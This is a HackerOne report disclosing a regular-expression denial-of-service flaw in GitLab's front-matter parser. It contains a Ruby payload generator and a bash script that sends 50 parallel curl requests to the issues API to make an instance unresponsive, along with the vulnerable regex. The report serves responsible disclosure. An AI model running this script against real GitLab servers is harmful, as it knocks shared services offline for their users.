ReDoS via PATTERN in /lib/gitlab/front_matter.rb

HackerOne report #1320077 by hashkitten on 2021-08-26, assigned to @ankelly:

Report | How To Reproduce

Report

Summary

Hi Gitlab security team, this is a very similar issue to https://hackerone.com/reports/1277918 , just with a different root cause. A regex used to parse multiple sources of user input (notes, issues, etc) has cubic complexity, leading to an application-wide DoS via regex.

Steps to reproduce

Create an issue on any project. Copy the output of the command ruby -e'print "coding:\n"+";;;"+"\n"*10000+"x"' into your clipboard and paste it into the issue description. Submit and notice the backend worker uses 100% CPU before timing out with 502.

If we make a low number of simultaneous requests like this, it will result in total denial of service. You can use the following bash script:

PROTO=http  
GITLAB_HOST=localhost  
PROJECT_ID=xxx  
AUTH_TOKEN=xxx

PAYLOAD=$(ruby -e'print "coding:\n"+";;;"+"\n"*10000+"x"')

for i in {1..50}; do  
  curl -X POST \  
    "${PROTO}://${GITLAB_HOST}/api/v4/projects/${PROJECT_ID}/issues" \  
    -H "Private-Token: ${AUTH_TOKEN}" \  
    --data "title=issue_${RANDOM}_${RANDOM}" \  
    --data "description=${PAYLOAD}" & done  

Change the protocol and Gitlab host to point to your locally hosted instance. Log in as a user, and fill the AUTH_TOKEN with that user's API token and set PROJECT_ID to any project the user has access to. Run the script, and then observe the hosted instance becomes unresponsive.

Detail

Gitlab uses lib/gitlab/front_matter.rb to parse 'front matter' out of comments, issues and so on:

module Gitlab  
  module FrontMatter  
    DELIM_LANG = {  
      '---' => 'yaml',  
      '+++' => 'toml',  
      ';;;' => 'json'  
    }.freeze

    DELIM = Regexp.union(DELIM_LANG.keys)

    PATTERN = %r{  
      \A(?:[^\r\n]*coding:[^\r\n]*)?         # optional encoding line  
      \s*  
      ^(?<delim>#{DELIM})[ \t]*(?<lang>\S*)  # opening front matter marker (optional language specifier)  
      \s*  
      ^(?<front_matter>.*?)                  # front matter block content (not greedy)  
      \s*  
      ^(\k<delim> | \.{3})                   # closing front matter marker  
      \s*  
    }mx.freeze  
  end  
end  

This \s* ... \s* ... \s* style construction can result in cubic backtracking, which causes the issue.

Output of checks

This bug happens on gitlab.com & also on local instance latest stable.

Impact

Any user can make the Gitlab instance trivially inaccessible in a way that can't be mitigated by Application Limits.

How To Reproduce

Please add reproducibility information to this section: